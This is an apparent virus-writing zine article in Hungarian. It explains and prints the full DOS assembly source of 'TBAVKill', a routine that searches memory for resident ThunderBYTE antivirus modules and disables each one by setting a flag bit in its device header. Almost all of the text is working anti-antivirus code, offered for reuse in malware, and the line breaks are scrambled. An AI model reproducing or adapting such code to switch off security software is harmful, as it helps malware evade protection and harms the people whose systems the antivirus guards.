Ajánlom a könyebb érthetõség
kedvéért, elõször olvasd el a "TbMon
disszaszembly" címû cikket, ha eddig még
nem tetted. Ez a program lényegében ugyan az mint
a fent említett cikkben elemzett program, csak ez azon túl
hogy optimizálva van, még a talált TBAV rezidens
programokat is de-aktivizálja. A program de-aktivizáló része
igen egyszerû. A rezidens program FCB-jének 16h-odik
byte-jának utolsó bitjét 1-esre kell állítani.
Ezt példaul így oldhatod meg: or byte ptr es:[16h],1
És kész...
Formater
[FCF] |
; TBAVKill.asm code segment
assume cs:code,ds:code
org 100h
start: call Kill_AV ;
Meghívjuk a TBAV gyilkoló rutint xor
ax,ax ;
ax=0 int 20h
;
Kilépünk ;лллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл
; ; TBAV
Killer rutin ; ;лллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл
TBAVKill proc near Tbname
db 'TBMEMXXX','TBCHKXXX'
; A TBAV rezidens részeinek nevei db
'TBDSKXXX','TBFILXXX' ;
db 'SCANX
' Kill_AV:push ax bx cx dx
di ds es ; Elrakjuk a regisztereket push
cs ;\
cs-t a ds-be pop
ds ;/
mov ah,52h
;
Lekérjük a DOS adattábla címét
int 21h
les bx,es:[bx+22h]
; Kiolvassuk az elsõ
FCB tábla címét Search_Device: lea
si,[Tbname - 8 ] ;
Az si a nevek elé mutat 8 byte-al mov
cx,5 ;
összesen 5 TB rezidens program van Search_Utility:
push cx
;
Elrakjuk a cx-et add
si,8 ;
A következõ TB névre mutat ;
(ezért kellet elõször Tbname-8 !!) lea
di,[bx+0ah] ;
A di a FCB tulaj nevére mutat mov
cl,4 ;
cl=4 push si
;
Elrakjuk az si-t, mivel a cmpsw ;
megváltoztatja repe
cmpsw ;
repe - megismétli az utánna következõ
;
utasítást cx-szer ;
cmpsw összehasonlítja a ds:si es:di ;
értéket, majd a zero flag-et ;
beállítja pop
si cx ;
visszállítjuk a si,cx-et loopne
Search_Utility ; Ha nem
egyeztek, vagy ha a cx még ;
nem nulla akkor nezzük a következõ ;
program nevét, de cx=cx-1 jne
Next_Device ;
Ha nem azért jött ki a loop-ból, ;
mert talált valamit, hanem csak vége ;
lett (cx=0) akkor ugrik... or
byte ptr es:[16h],1 ; Itt a
lényeg. Ha talált egy rezidens ;
TB programot, akkor azt letiltja Next_Device: les
bx,es:[bx] ;
A következõ FCB címének betöltése
cmp bx,-1
;
Utolsó FCB? (a 0FFFFh ugyan az mint a -1) jne
Search_Device ;
Nem az utolsó, akkor elemezzük pop
es ds di dx cx bx ax ; Vissza állítjuk
a regisztereket retn
;
Visszatér endp
code ends end
start ; --- EOF ---- |